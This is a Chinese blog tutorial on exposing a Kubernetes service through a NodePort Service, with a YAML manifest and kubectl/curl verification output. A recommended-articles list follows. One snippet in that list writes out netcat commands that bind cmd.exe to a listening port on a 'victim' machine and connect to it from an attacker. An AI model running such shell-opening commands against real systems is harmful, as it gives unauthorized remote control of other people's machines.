一  通过NodePort来暴露服务

  前面已经介绍的服务的一些作用,例如将集群内部的应用暴露给集群内部的pod使用,将外部的应用通过服务暴露给内部应用使用,但是服务最大的作用不仅仅是这些

而是将集群内部的应用暴露给外部客户端进行访问,这种实现方式有多种,列举出其中2种进行介绍

  • 第一种是:通过创建NodePort类型的服务提供给外部的访问
  • 第二种是:创建Ingress来对集群内部的pod对外进行暴露

二  定义NodePort类型的服务资源

apiVersion: v1
kind: Service
metadata:
name: kubia-nodeport
spec:
type: NodePort
ports:
- port: 80
targetPort: 8080
nodePort: 30123
selector:
app: kubia
  • 内容很简单,只是比普通的service多了个type类型字段,并且在ports里面添加nodePoer和需要访问的目标端口

三 验证是否符合预期

  如果除了之前的能通过集群分配给服务的固定IP和端口进行访问,还能通过集群里面的任意的节点加:30123的端口进行访问则说明可以通过

此种方式对服务进行暴露

[root@node01 Chapter05]# k get po
NAME READY STATUS RESTARTS AGE
kubia-7q8c5 1/1 Running 0 81m
kubia-7w5tq 1/1 Running 0 81m
kubia-ch6qk 1/1 Running 0 81m

[root@node01 Chapter05]# k get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
kubernetes ClusterIP 10.96.0.1 <none> 443/TCP 3d4h
kubia-nodeport NodePort 10.101.58.249 <none> 80:30123/TCP 20m

[root@node01 Chapter05]# k exec kubia-7q8c5 -- curl -s http://10.101.58.249
You've hit kubia-7w5tq

[root@node01 Chapter05]# k get no -o wide
NAME STATUS ROLES AGE VERSION INTERNAL-IP EXTERNAL-IP OS-IMAGE KERNEL-VERSION CONTAINER-RUNTIME
master Ready master 3d4h v1.14.2 172.16.70.6 <none> CentOS Linux 7 (Core) 3.10.0-514.el7.x86_64 docker://18.9.6
node01 Ready <none> 3d4h v1.14.2 172.16.70.4 <none> CentOS Linux 7 (Core) 3.10.0-514.el7.x86_64 docker://18.9.6
node02 Ready <none> 3d4h v1.14.2 172.16.70.5 <none> CentOS Linux 7 (Core) 3.10.0-514.el7.x86_64 docker://18.9.6

[root@node01 Chapter05]# k exec kubia-7q8c5 -- curl -s http://172.16.70.6:30123
You've hit kubia-ch6qk

[root@node01 Chapter05]# k exec kubia-7q8c5 -- curl -s http://172.16.70.5:30123
You've hit kubia-ch6qk

[root@node01 Chapter05]# k exec kubia-7q8c5 -- curl -s http://172.16.70.4:30123
You've hit kubia-ch6qk
  • 根据执行的结果以及代码可以看到,我们任意进入一个pod,无论是通过集群分配的IP或者是node:port都能够正确的访问到该服务后面挂载的pod
  • 甚至可以尝试通过浏览器直接访问哦也是可以访问的

kubernets之向外部应用暴露应用的更多相关文章

  1. 使用ASP.NET Core 3.x 构建 RESTful API - 4.1 面向外部的Model

    Entity Framework Core 使用的 Entity Model 是用来表示数据库里面的记录的. 而面向外部的 model 则表示了要传输的东西.这类 model 有时候叫做 Dto,有时 ...

  2. k8s暴露集群内和集群外服务的方法

    集群内服务 一般 pod 都是根据 service 资源来进行集群内的暴露,因为 k8s 在 pod 启动前就已经给调度节点上的 pod 分配好 ip 地址了,因此我们并不能提前知道提供服务的 pod ...

  3. Docker使用

    Docker使用注意 关于网络配置   在使用默认的桥接模式下,容器启动后会被分配一个与docker0在同一网段的地址,在容器内部默认显示为eth0,在宿主机上产生一个临时的vethXXX接口. 端口 ...

  4. AngularJS中实现无限级联动菜单

    多级联动菜单是常见的前端组件,比如省份-城市联动.高校-学院-专业联动等等.场景虽然常见,但仔细分析起来要实现一个通用的无限分级联动菜单却不一定像想象的那么简单.比如,我们需要考虑子菜单的加载是同步的 ...

  5. iOS多线程-05-多图下载

    效果图 常见问题及解决方法 图片重复下载 将内存保存在内存或沙盒中. 若下载的图片量较大,则会出现UI界面不流畅的现象 在子线程中执行下载操作,然后回到主线程成中进行UI界面的刷新. 由于cell的循 ...

  6. OC - 20.多图下载

    效果图 常见问题及解决方法 图片重复下载 将内存保存在内存或沙盒中. 若下载的图片量较大,则会出现UI界面不流畅的现象 在子线程中执行下载操作,然后回到主线程成中进行UI界面的刷新. 由于cell的循 ...

  7. ZooKeeper笔记--集群安装配置 【转】

    ZooKeeper是一个分布式开源框架,提供了协调分布式应用的基本服务,它向外部应用暴露一组通用服务——分布式同步(Distributed Synchronization).命名服务(Naming S ...

  8. 灵雀云CTO陈恺:从“鸿沟理论”看云原生,哪些技术能够跨越鸿沟?

    灵雀云CTO陈恺:从“鸿沟理论”看云原生,哪些技术能够跨越鸿沟? 历史进入2019年,放眼望去,今天的整个技术大环境和生态都发生了很大的变化.在己亥猪年春节刚刚过去的早春时节,我们来梳理和展望一下整个 ...

  9. DB9针和DB25针串口的引脚定义

    <设备监控技术详解>第3章串口设备监控,本章着力介绍串口交换机和串口联网方式.本节为大家介绍标准25针串口的引脚定义. 作者:李瑞民来源:机械工业出版社 3.3 串口线的制作和转换 串口的 ...

随机推荐

  1. Kubernetes【K8S】(五):Service

    Service概念 Kubernetes Service定义了一个Pod的逻辑分组,一种可以访问它们的策略.这组Pod能被Service访问到,通常是通过label Selector. Service ...

  2. 06-flask-文件上传案例

    前端代码 Demo.html <!DOCTYPE html> <html lang="en"> <head> <meta charset= ...

  3. 多图详解Go的互斥锁Mutex

    转载请声明出处哦~,本篇文章发布于luozhiyun的博客:https://www.luozhiyun.com 本文使用的go的源码时14.4 Mutex介绍 Mutex 结构体包含两个字段: 字段s ...

  4. Spring Boot 简单入门案例

    第一:打开idea 找到spring  Initializr 第二:点击Next 在点击下一步 找到web之后勾选第一个spring web 就完成了 在写一个类 点击运行 结果如下:

  5. nc监控实现调用受害者cmd

    正向连接 受害者 IP 是直接暴漏在公网的 或者你们同属于一个内网 受害者:nc.exe -vlp 1234 -e cmd.exe 攻击者 nc 192.168.1.1 1234 nc -lvvp 8 ...

  6. Google、Facebook等均开始支持的HTTP3到底是个什么鬼?

    GitHub 19k Star 的Java工程师成神之路,不来了解一下吗! 最近一段时间以来,关于HTTP/3的新闻有很多,越来越多的国际大公司已经开始使用HTTP/3了. 所以,HTTP/3已经是箭 ...

  7. DRF终极封装ViewSet和Router附教程PDF源码

    在DRF官方教程的学习过程中,一个很明显的感受是框架在不断地进行封装,我们自己写框架/工具/脚本/平台也可以模仿模仿,先完成底层代码,再做多层封装,让使用者很容易就上手操作.本文是教程的最后一篇,介绍 ...

  8. Winform 去掉 最大化 最小化 关闭按钮(不是关闭按钮变灰)终极解决办法

    using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; usin ...

  9. Error:(18) error: '#FFFF782' is incompatible with attribute android:endColor (attr) color. --Android

    android  studio 编译是报如下错误: Error:(18) error: '#FFFF782' is incompatible with attribute android:endCol ...

  10. Bitmap 图像灰度变换原理浅析

    上篇文章<拥抱 C/C++ : Android JNI 的使用>里提到调用 native 方法直接修改 bitmap 像素缓冲区,从而实现将彩色图片显示为灰度图片的方法.这篇文章将介绍该操 ...